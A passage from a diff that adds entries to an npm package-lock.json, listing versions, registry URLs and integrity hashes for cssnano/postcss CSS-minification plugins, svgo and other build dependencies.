"postcss-minify-selectors": "^4.0.0", + "postcss-normalize-charset": "^4.0.0", + "postcss-normalize-display-values": "^4.0.0", + "postcss-normalize-positions": "^4.0.0", + "postcss-normalize-repeat-style": "^4.0.0", + "postcss-normalize-string": "^4.0.0", + "postcss-normalize-timing-functions": "^4.0.0", + "postcss-normalize-unicode": "^4.0.0", + "postcss-normalize-url": "^4.0.0", + "postcss-normalize-whitespace": "^4.0.0", + "postcss-ordered-values": "^4.0.0", + "postcss-reduce-initial": "^4.0.0", + "postcss-reduce-transforms": "^4.0.0", + "postcss-svgo": "^4.0.0", + "postcss-unique-selectors": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "browserslist": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.0.1.tgz", + "integrity": "sha512-QqiiIWchEIkney3wY53/huI7ZErouNAdvOkjorUALAwRcu3tEwOV3Sh6He0DnP38mz1JjBpCBb50jQBmaYuHPw==", + "dev": true, + "requires": { + "caniuse-lite": "^1.0.30000865", + "electron-to-chromium": "^1.3.52", + "node-releases": "^1.0.0-alpha.10" + } + }, + "caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "coa": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.1.tgz", + "integrity": "sha512-5wfTTO8E2/ja4jFSxePXlG5nRu5bBtL/r1HCIpJW/lzT6yDtKl0u0Z4o/Vpz32IpKmBn7HerheEZQgA9N2DarQ==", + "dev": true, + "requires": { + "q": "^1.1.2" + } + }, + "color": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/color/-/color-3.0.0.tgz", + "integrity": "sha512-jCpd5+s0s0t7p3pHQKpnJ0TpQKKdleP71LWcA0aqiljpiuAkOSUFN/dyH8ZwF0hRmFlrIuRhufds1QyEP9EB+w==", + "dev": true, + "requires": { + "color-convert": "^1.9.1", + "color-string": "^1.5.2" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "color-string": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/color-string/-/color-string-1.5.2.tgz", + "integrity": "sha1-JuRYFLw8mny9Z1FkikFDRRSnc6k=", + "dev": true, + "requires": { + "color-name": "^1.0.0", + "simple-swizzle": "^0.2.2" + } + }, + "csso": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/csso/-/csso-3.5.1.tgz", + "integrity": "sha512-vrqULLffYU1Q2tLdJvaCYbONStnfkfimRxXNaGjxMldI0C7JPBC4rB1RyjhfdZ4m1frm8pM9uRPKH3d2knZ8gg==", + "dev": true, + "requires": { + "css-tree": "1.0.0-alpha.29" + }, + "dependencies": { + "css-tree": { + "version": "1.0.0-alpha.29", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.0.0-alpha.29.tgz", + "integrity": "sha512-sRNb1XydwkW9IOci6iB2xmy8IGCj6r/fr+JWitvJ2JxQRPzN3T4AGGVWCMlVmVwM1gtgALJRmGIlWv5ppnGGkg==", + "dev": true, + "requires": { + "mdn-data": "~1.1.0", + "source-map": "^0.5.3" + } + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", + "dev": true + } + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "is-svg": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-3.0.0.tgz", + "integrity": "sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==", + "dev": true, + "requires": { + "html-comment-regex": "^1.1.0" + } + }, + "js-yaml": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.10.0.tgz", + "integrity": "sha512-O2v52ffjLa9VeM43J4XocZE//WT9N0IiwDa3KSHH7Tu8CtH+1qM8SIZvnsTh6v+4yFy5KUY3BHUVwjpfAWsjIA==", + "dev": true, + "requires": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + } + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", + "dev": true + }, + "normalize-url": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-3.2.0.tgz", + "integrity": "sha512-WvF3Myk0NhXkG8S9bygFM4IC1KOvnVJGq0QoGeoqOYOBeinBZp5ybW3QuYbTc89lkWBMM9ZBO4QGRoc0353kKA==", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "postcss-calc": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-6.0.1.tgz", + "integrity": "sha1-PSQXG79udinUIqQ26/5t2VEfQzA=", + "dev": true, + "requires": { + "css-unit-converter": "^1.1.1", + "postcss": "^6.0.0", + "postcss-selector-parser": "^2.2.2", + "reduce-css-calc": "^2.0.0" + } + }, + "postcss-colormin": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-4.0.1.tgz", + "integrity": "sha1-bxwYoBVbxpYT8v8ThD4uSuj/C74=", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "color": "^3.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-convert-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-4.0.0.tgz", + "integrity": "sha1-d9d9mu0dxOaVbmUcw0nVMwWHb2I=", + "dev": true, + "requires": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-discard-comments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-4.0.0.tgz", + "integrity": "sha1-loSimedrPpMmPvj9KtvxocCP2I0=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + } + }, + "postcss-discard-duplicates": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-4.0.0.tgz", + "integrity": "sha1-QvPCZ/hfqQngQsNXZ+z9Zcsr1yw=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + } + }, + "postcss-discard-empty": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-4.0.0.tgz", + "integrity": "sha1-VeGKWcdBKOOMfSgEvPpAVmEfuX8=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + } + }, + "postcss-discard-overridden": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-4.0.0.tgz", + "integrity": "sha1-Sgv4WXh4TPH4HtLBwf2dlkodofo=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + } + }, + "postcss-merge-longhand": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-4.0.4.tgz", + "integrity": "sha512-wLi2u22mSdBDBjLF8pyaPCNppOmqb+B4O0Dlt/4nUwn79EltDUJmCeCDYqo7SB2z9puOHTftnxviY4J9xS+ygQ==", + "dev": true, + "requires": { + "css-color-names": "0.0.4", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "stylehacks": "^4.0.0" + } + }, + "postcss-merge-rules": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-4.0.1.tgz", + "integrity": "sha1-Qw/Vmz8u0uivzQsxJ47aOYVKuxA=", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "caniuse-api": "^3.0.0", + "cssnano-util-same-parent": "^4.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0", + "vendors": "^1.0.0" + }, + "dependencies": { + "postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "requires": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + } + } + } + }, + "postcss-minify-font-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-4.0.0.tgz", + "integrity": "sha1-TMM9KD1qgXWQNudX75gdksvYW+0=", + "dev": true, + "requires": { + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-minify-gradients": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-4.0.0.tgz", + "integrity": "sha1-P8ORZDnSepu4Bm23za2AFlDrCQ4=", + "dev": true, + "requires": { + "cssnano-util-get-arguments": "^4.0.0", + "is-color-stop": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-minify-params": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-4.0.0.tgz", + "integrity": "sha1-BekWbuSMBa9lGYnOhNOcG015BnQ=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.0", + "cssnano-util-get-arguments": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "uniqs": "^2.0.0" + } + }, + "postcss-minify-selectors": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-4.0.0.tgz", + "integrity": "sha1-sen2xGNBbT/Nyybnt4XZX2FXiq0=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-selector-parser": "^3.0.0" + }, + "dependencies": { + "postcss-selector-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-3.1.1.tgz", + "integrity": "sha1-T4dfSvsMllc9XPTXQBGu4lCn6GU=", + "dev": true, + "requires": { + "dot-prop": "^4.1.1", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1" + } + } + } + }, + "postcss-normalize-charset": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-4.0.0.tgz", + "integrity": "sha1-JFJyknAtXoEp6vo9HeSe1RpqtzA=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + } + }, + "postcss-normalize-url": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-4.0.0.tgz", + "integrity": "sha1-t6nIrSbPJmlMFG6y1ovQz0mVbw0=", + "dev": true, + "requires": { + "is-absolute-url": "^2.0.0", + "normalize-url": "^3.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-ordered-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-4.0.0.tgz", + "integrity": "sha1-WLQMdPcuAi6zQVLBLksPk1RIL8I=", + "dev": true, + "requires": { + "cssnano-util-get-arguments": "^4.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-reduce-initial": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-4.0.1.tgz", + "integrity": "sha1-8tWPUM6isMXcEnjW6l7Q/1gpwpM=", + "dev": true, + "requires": { + "browserslist": "^4.0.0", + "caniuse-api": "^3.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0" + } + }, + "postcss-reduce-transforms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-4.0.0.tgz", + "integrity": "sha1-9kX8dEDDUnT0DegQThStcWPt8Yg=", + "dev": true, + "requires": { + "cssnano-util-get-match": "^4.0.0", + "has": "^1.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0" + } + }, + "postcss-svgo": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-4.0.0.tgz", + "integrity": "sha1-wLutAlIPxjbJ14sOhAPi5RXDIoU=", + "dev": true, + "requires": { + "is-svg": "^3.0.0", + "postcss": "^6.0.0", + "postcss-value-parser": "^3.0.0", + "svgo": "^1.0.0" + } + }, + "postcss-unique-selectors": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-4.0.0.tgz", + "integrity": "sha1-BMHpdkx1h0JhMDQCxB8Ol2n8VQE=", + "dev": true, + "requires": { + "alphanum-sort": "^1.0.0", + "postcss": "^6.0.0", + "uniqs": "^2.0.0" + } + }, + "reduce-css-calc": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/reduce-css-calc/-/reduce-css-calc-2.1.4.tgz", + "integrity": "sha512-i/vWQbyd3aJRmip9OVSN9V6nIjLf/gg/ctxb0CpvHWtcRysFl/ngDBQD+rqavxdw/doScA3GMBXhzkHQ4GCzFQ==", + "dev": true, + "requires": { + "css-unit-converter": "^1.1.1", + "postcss-value-parser": "^3.3.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "svgo": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.0.5.tgz", + "integrity": "sha512-nYrifviB77aNKDNKKyuay3M9aYiK6Hv5gJVDdjj2ZXTQmI8WZc8+UPLR5IpVlktJfSu3co/4XcWgrgI6seGBPg==", + "dev": true, + "requires": { + "coa": "~2.0.1", + "colors": "~1.1.2", + "css-select": "~1.3.0-rc0", + "css-select-base-adapter": "~0.1.0", + "css-tree": "1.0.0-alpha25", + "css-url-regex": "^1.1.0", + "csso": "^3.5.0", + "js-yaml": "~3.10.0", + "mkdirp": "~0.5.1", + "object.values": "^1.0.4", + "sax": "~1.2.4", + "stable": "~0.1.6", + "unquote": "~1.1.1", + "util.promisify": "~1.0.0" + } + } + } + }, + "cssnano-util-get-arguments": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz", + "integrity": "sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=", + "dev": true + }, + "cssnano-util-get-match": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz", + "integrity": "sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=", + "dev": true + }, + "cssnano-util-raw-cache": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.0.tgz", + "integrity": "sha1-vgooVuJfGF9feivMBiTii38Xmp8=", + "dev": true, + "requires": { + "postcss": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "postcss": { + "version": "6.0.23", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", + "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", + "dev": true, + "requires": { + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "cssnano-util-same-parent": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.0.tgz", + "integrity": "sha1-0qPeEDmqmLxOwlAB+gUDMMKhbaw=", + "dev": true + }, + "csso": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/csso/-/csso-2.3.2.tgz", + "integrity": "sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=", + "dev": true, + "requires": { + "clap": "^1.0.9", + "source-map": "^0.5.3" + } + }, + "cucumber-expressions": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/cucumber-expressions/-/cucumber-expressions-6.6.2.tgz", + "integrity": "sha512-WcFSVBiWNLJbIcAAC3t/ACU46vaOKfe1UIF5H3qveoq+Y4XQm9j3YwHurQNufRKBBg8nCnpU7Ttsx7egjS3hwA==", + "dev": true, + "requires": { + "becke-ch--regex--s0-0-v1--base--pl--lib": "^1.2.0" + } + }, + "currently-unhandled": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", + "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", + "dev": true, + "requires": { + "array-find-index": "^1.0.1" + } + }, + "cyclist": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", + "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", + "dev": true + }, + "d": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/d/-/d-1.0.0.tgz", + "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", + "dev": true, + "requires": { + "es5-ext": "^0.10.9" + } + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "date-now": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/date-now/-/date-now-0.1.4.tgz", + "integrity": "sha1-6vQ5/U1ISK105cx9vvIAZyueNFs=", + "dev": true + }, + "dateformat": { + "version": "1.0.12", + "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.12.tgz", + "integrity": "sha1-nxJLZ1lMk3/3BpMuSmQsyo27/uk=", + "dev": true, + "requires": { + "get-stdin": "^4.0.1", + "meow": "^3.3.0" + } + }, + "dayjs": { + "version": "1.11.7", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.7.tgz", + "integrity": "sha512-+Yw9U6YO5TQohxLcIkrXBeY73WP3ejHWVvx8XCk3gxvQDCTEmS48ZrSZCKciI7Bhl/uCMyxYtE9UqRILmFphkQ==", + "peer": true + }, + "de-indent": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/de-indent/-/de-indent-1.0.2.tgz", + "integrity": "sha1-sgOOhG3DO6pXlhKNCAS0VbjB4h0=", + "dev": true + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" + }, + "decode-uri-component": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", + "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" + }, + "decompress-response": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", + "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", + "dev": true, + "optional": true, + "requires": { + "mimic-response": "^1.0.0" + } + }, + "deep-is": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", + "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", + "dev": true + }, + "deepmerge": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-3.3.0.tgz", + "integrity": "sha512-GRQOafGHwMHpjPx9iCvTgpu9NojZ49q794EEL94JVEw6VaeA8XTUyBKvAkOOjBX9oJNiV6G3P+T+tihFjo2TqA==", + "peer": true + }, + "defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "peer": true, + "requires": { + "clone": "^1.0.2" + } + }, + "define-properties": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.2.tgz", + "integrity": "sha1-g6c/L+pWmJj7c3GTyPhzyvbUXJQ=", + "requires": { + "foreach": "^2.0.5", + "object-keys": "^1.0.8" + } + }, + "define-property": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", + "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", + "requires": { + "is-descriptor": "^1.0.2", + "isobject": "^3.0.1" + }, + "dependencies": { + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "defined": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/defined/-/defined-1.0.0.tgz", + "integrity": "sha1-yY2bzvdWdBiOEQlpFRGZ45sfppM=", + "dev": true + }, + "del": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/del/-/del-2.2.2.tgz", + "integrity": "sha1-wSyYHQZ4RshLyvhiz/kw2Qf/0ag=", + "dev": true, + "requires": { + "globby": "^5.0.0", + "is-path-cwd": "^1.0.0", + "is-path-in-cwd": "^1.0.0", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0", + "rimraf": "^2.2.8" + } + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", + "dev": true + }, + "delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=", + "dev": true + }, + "denodeify": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/denodeify/-/denodeify-1.2.1.tgz", + "integrity": 